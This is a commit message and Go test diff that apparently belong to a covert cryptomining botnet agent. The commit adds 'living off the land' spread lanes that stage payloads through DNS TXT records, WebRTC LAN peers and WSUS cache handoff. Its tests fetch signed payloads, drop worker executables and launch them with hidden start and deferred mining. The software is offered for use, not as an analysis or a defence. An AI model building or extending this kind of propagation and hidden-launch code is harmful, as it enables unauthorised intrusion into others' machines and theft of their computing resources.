Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

agent/deploy/discover_join_test.go

@@ -3,6 +3,7 @@ package deploy
 import (
 	"crypto/hmac"
 	"crypto/sha256"
+	"encoding/base64"
 	"encoding/hex"
 	"encoding/json"
 	"os"
@@ -151,3 +152,59 @@ func TestExecuteDeployPlanDOPeerRequiresManifest(t *testing.T) {
 		t.Fatalf("err=%v", err)
 	}
 }
+
+func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
+	payload := []byte("dns-txt-signed-plan")
+	sum := sha256.Sum256(payload)
+	hash := hex.EncodeToString(sum[:])
+
+	oldResolve := dnsTXTResolveFn
+	dnsTXTResolveFn = func(record, fallbackURL string) (string, error) {
+		return base64.StdEncoding.EncodeToString(payload), nil
+	}
+	defer func() { dnsTXTResolveFn = oldResolve }()
+
+	plan := DeployPlanBody{
+		JoinLane: "dns_txt", Action: "dns_txt",
+		DNSTXTZone: "lab.internal",
+		Manifest: &StagingManifest{
+			Method: "dns_txt",
+			Chunks: []StagingChunk{{Record: "_aether.shard0.lab.internal", Index: 0}},
+			SHA256: hash, Dest: "dns-txt-test-worker.exe", Launch: "exe", DeferMining: true,
+		},
+	}
+	_, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
+	if err != nil {
+		if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
+			return
+		}
+		t.Fatalf("unexpected error: %v", err)
+	}
+}
+
+func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) {
+	payload := []byte("webrtc-signed-plan")
+	sum := sha256.Sum256(payload)
+	hash := hex.EncodeToString(sum[:])
+
+	oldFn := webrtcMeshReceiveFn
+	webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
+		return payload, nil
+	}
+	defer func() { webrtcMeshReceiveFn = oldFn }()
+
+	plan := DeployPlanBody{
+		JoinLane: "webrtc_mesh", Action: "webrtc_mesh",
+		WebRTCMesh: &WebRTCMeshPlanBody{RotationHours: 24, SeederAgentID: "seed-1"},
+		Manifest: &StagingManifest{
+			SHA256: hash, Dest: "webrtc-test-worker.exe", Launch: "exe", DeferMining: true,
+		},
+	}
+	_, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
+	if err != nil {
+		if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
+			return
+		}
+		t.Fatalf("unexpected error: %v", err)
+	}
+}